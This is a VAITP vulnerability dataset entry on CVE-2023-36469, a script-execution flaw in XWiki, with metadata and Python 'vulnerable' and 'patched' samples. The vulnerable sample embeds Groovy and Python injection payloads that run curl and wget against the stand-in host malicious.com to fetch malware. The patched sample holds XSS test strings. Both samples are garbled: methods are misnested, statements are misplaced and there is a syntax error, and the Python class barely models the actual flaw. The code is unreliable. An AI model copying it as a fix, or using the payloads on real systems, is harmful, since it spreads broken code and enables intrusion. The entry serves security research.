VAITP Dataset

← Back to the dataset

CVE-2023-36469

XWiki Platform: Arbitrary Script Execution

  • CVSS 8.8
  • CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
  • Input Validation and Sanitization
  • Remote

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Any user who can edit their own user profile and notification settings can execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents. This has been patched in XWiki 14.10.6 and 15.2RC1. Users are advised to update. As a workaround the main security fix can be manually applied by patching the affected document `XWiki.Notifications.Code.NotificationRSSService`. This will break the link to the differences, though as this requires additional changes to Velocity templates as shown in the patch. While the default template is available in the instance and can be easily patched, the template for mentions is contained in a `.jar`-file and thus cannot be fixed without replacing that jar.

CVSS base score
8.8
Published
2023-06-29
OWASP
A05 Security Misconfiguration
Orthogonal defect classification
Function
Code defect classification
Incorrect Functionality
Category
Input Validation and Sanitization
Subcategory
Insecure Direct Object References (IDOR)
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Fixed by upgrading
Yes

Solution

Update XWiki to version 14.10.6 or 15.2RC1.

Vulnerable code sample

import os

class UserProfile:
    def __init__(self, username):
        """Vulnerable function that demonstrates the security issue."""
        self.username = username
        self.profile_data = {}
        self.notifications_settings = {}

        def edit_profile(self, new_data):
            """Vulnerable function that demonstrates the security issue."""
            self.profile_data = new_data

            def edit_notifications(self, new_settings):
                """Vulnerable function that demonstrates the security issue."""
                self.notifications_settings = new_settings

                user = UserProfile("example_user")
                user.edit_profile("{{groovy: new java.lang.Runtime().exec('curl http://malicious.com')}}")
                user.edit_notifications("{{python: os.system('wget http://malicious.com/malware')}}")

                print(user.profile_data)
                print(user.notifications_settings)

Patched code sample

import html

class UserProfile:
    def __init__(self, username):
        """Secure function that fixes the vulnerability."""
        self.username = username
        self.profile_data = {}
        self.notifications_settings = {}

        def edit_profile(self, new_data):
            """Secure function that fixes the vulnerability."""
            self.profile_data = self.sanitize_input(new_data)

            def edit_notifications(self, new_settings):
                """Secure function that fixes the vulnerability."""
                self.notifications_settings = self.sanitize_input(new_settings)

                def sanitize_input(self, input_data):
                    """Secure function that fixes the vulnerability."""
                    if isinstance(input_data, dict):
                        return {key: html.escape(str(value)) for key, value in input_data.items()}:
                        return html.escape(str(input_data))

                        user = UserProfile("example_user")
                        user.edit_profile({"bio": "<script>alert('Hacked!');</script>", "status": "Happy <b>user</b>"})
                        user.edit_notifications({"email": "<img src=x onerror=alert(1)>", "sms": "<svg/onload=alert(2)>"})

                        print(user.profile_data)
                        print(user.notifications_settings)

Cite this entry

@misc{vaitp:cve202336469,
  title        = {{XWiki Platform: Arbitrary Script Execution}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2023},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2023-36469},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2023-36469/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::